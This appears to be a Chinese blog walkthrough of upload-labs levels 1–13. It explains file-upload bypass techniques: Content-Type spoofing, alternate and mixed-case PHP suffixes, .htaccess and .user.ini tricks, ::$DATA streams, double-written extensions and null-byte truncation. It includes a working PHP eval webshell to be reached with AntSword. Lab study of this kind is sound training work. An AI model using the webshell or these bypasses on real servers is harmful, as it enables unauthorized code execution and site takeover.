upload通关攻略

upload1-13

代码意思:

$file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //收尾去空

$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);

如1.php意思是读取.后面的数据,读取php,如果在数组里面就往下执行

我们上传一个一字话木马jpg文件打开bp拦截,文件存入的目录写的是什么就保存什么

在upload后添加1.php%00放行即可

pass-01(js绕过)

我们先创建一个php文件并在里面写入一字话木马<?php @eval($_POST['zbn']); ?>。然后先区分对文件的验证看服务器验证在前端还是后端,我们打开bp,点击上传发现弹出弹框被js拦截了。而bp里并没有拦截到数据包,说明验证合法性是在前端进行的,得出只要绕过前端就可以上传了,我们可以上传一个符合格式的文件如png然后在bp抓包修改为php再放行即可。

我们点击放行即可,然后回到浏览器复制图片地址到蚁剑添加数据测试连接。


pass-02(文件类型不正确)

我们通过上传正确的文件类型和一字话木马提交抓包然后观察数据包有什么不同,然后发现了二者的content-type处有所不同,因此我们推测后端是通过此处进行验证的,我们把一字话木马的数据包修改content-type后面的数据为image/jpeg即可点击放行,最后去蚁剑测试即可。


pass-03(后缀黑名单)

我们上传木马提示不允许上传asp等等后缀文件说明后端把这些文件都拉入了黑名单。

发现源码对文件的后缀作了几项处理,但是忽略了php3/php4等等的规定。我们在bp的数据包里把php改为php2。

然后就可以上传上去了,但是我们在蚁剑上还是不能添加这个数据,那是因为服务器并没有把php2解析为php,我们需要去phpstudy修改配置文件,修改如图这一句话让服务器可以解析为php。就可以去蚁剑连接,如果还不行就需要切换php版本(不要nts版的)然后重启即可。


预:

配置文件的区别(AddType application/x-httpd-php .jpg .txt意思是.jpg等等文件以php文件去解析)

.htaccess<
作用:·分布式配置文件,一般用于 URL·重写、认证、访问控制等<
作用范围:特定目录(一般是网站根目录)及其子目录
优先级:较高,可覆盖 Apache·的主要配置文件(httpd-conf)-
生效方式:修改后立刻生效~
httpd-conf<
作用:“包含 Apache:HTTP·服务器的全局行为和默认设置<
作用范围:整个服务器
优先级:较低<

.user.ink
作用:特定于用户或特定目录的配置文件,通常位于·Web·应用程序的根目录下。
它用于覆盖或追加全局配置文件(如·php.ini) 中的·PHP·配置选项。<
作用范围:存放该文件的目录以及其子目录~
优先级:较高,可以覆盖 php.inic
生效方式:立即生效<

前提:.user:ini可以生效并且该上传目录有 php.写法:
Auto-prepend-file=111.txt(这个文件里面只包含 php代码)
A: echo hello".php               b:echo"word".txt
Auto-prepend-file=-b.txt     hello word(所有的php文件执行之前都会包含txt中的语句)
php.ins
作用:存储了对整个·PHP·环境生效的配置选项。它通常位于·PHP·安装目录中《
作用范围:所有运行在该·PHP·环境中的·PHP·请求<
优先级:·较低
式:重启 php 或web 服务器

加载方式:会首先加载·php.ini/httpd-conf 文件中的配置。然而,如果在某个目录下存在userini/.htaccess: 文件,服务器会在处理请求时检查该目录,并覆盖相应的配置项。<

pass-04(.htaccess绕过)

查看源码后可以发现有很多黑名单限制,但是没有对.htaccess文件作出限制。

创建一个文档.htaccess写入AddType application/x-httpd-php .png,然后把php改为png,去靶场先上传.htaccess在上传png,此时我们png就被解析为php我们用蚁剑连接即可/把两个文件合并成一个



pass-05(.user.ini绕过)

此关存在user.ini文件上传漏洞

我们建立一个.user.ini文档写入auto_prepend_file=1.jpg(上传的文件的目录下面所以的php文件都会预先加载jpg文件),以及在一字话木马中补充echo"包含成功<br/>"。我们在浏览器上传.user在上传jpg然后访问一下图片地址

说明成功了,再去蚁剑连接即可


预:

在windows文件中加空格,后缀加点,大小写,点空格都会被服务器相同的解析,不受影响。可以用来绕过黑名单

pass-06(大写绕过)

我们查看源码,发现与前面限制不同的是没有对大小写限制,打开bp拦截加php修改为phP把放行即可,如果在蚁剑连接显示500只需要把phpstudy服务器换成nginx即可


pass-07(空格绕过)

我们查看源码,发现与前面限制不同的是没有对空格限制,我们打开bp拦截抓包并在php后加上若干个空格发行即可


pass-08(后缀加点绕过)

我们查看源码,发现与前面限制不同的是没有对后缀加点进行限制,我们打开bp拦截抓包在php后加上一个点放行即可,


预:

::$DATA就是额外数据量

把你好以额外数据流存入1.txt这个文件,我们打开1.txt没有变化,但是我们访问1.txt::$DATA就会显示你好。服务器验证时如果没有对::$DATA进行限制就不会验证后缀就会被我们绕过,但是windows会自动把::$DATA省略掉

服务器就会认为你是个额外数据流就会通过验证,回到windoow时又不允许有::$DATA,所以又变成了php。

pass-09(::$DATA绕过)

文件后面有::$DATA,就是额外数据流

我们打开bp拦截修改php为php::$DATA放行打开图片地址,发现是403,这时我们把::$DATA删掉再访问即可。服务器就会认为你是个额外数据流就会通过验证,回到windoow时又不允许有::$DATA,所以又变成了php。


pass-10(点空格点绕过)

1.php. .会先删除后面一个点然后遇到空格停下来,我们用bp拦截在php后加点空格点放行即可


pass-11(双写后缀绕过)

我们显示源码发现有一串以前都没出现的代码,这串代码意思是会把我们上传的文件如果在str_ireplace数组里就会替换成空格

       $file_name = str_ireplace($deny_ext,"", $file_name);

如果我们上传1.php就会变成1.,因为它只执行一次所以我们就可以双写后缀进行绕过,我们用bp抓包把php改为pphphp,因为是从左到右执行的,当它碰到第一个php就会把它替换成空,就又剩下php了


预:

0x00 (post)%00(get)

你好 0x00php读取的时候从左往右读到0x00就停止后面的读取

读取:你好

pass-12(%00截断)

我们显示源码发现

$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);

如1.php意思是读取.后面的数据,读取php,如果在数组里面就往下执行

我们上传一个一字话木马jpg文件打开bp拦截,文件存入的目录写的是什么就保存什么

在upload后添加1.php%00放行即可


pass-13(0x00截断)

打开bp拦截在referer里添加1.php 0x00(php后加个空格改为16进制的)放行即可

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值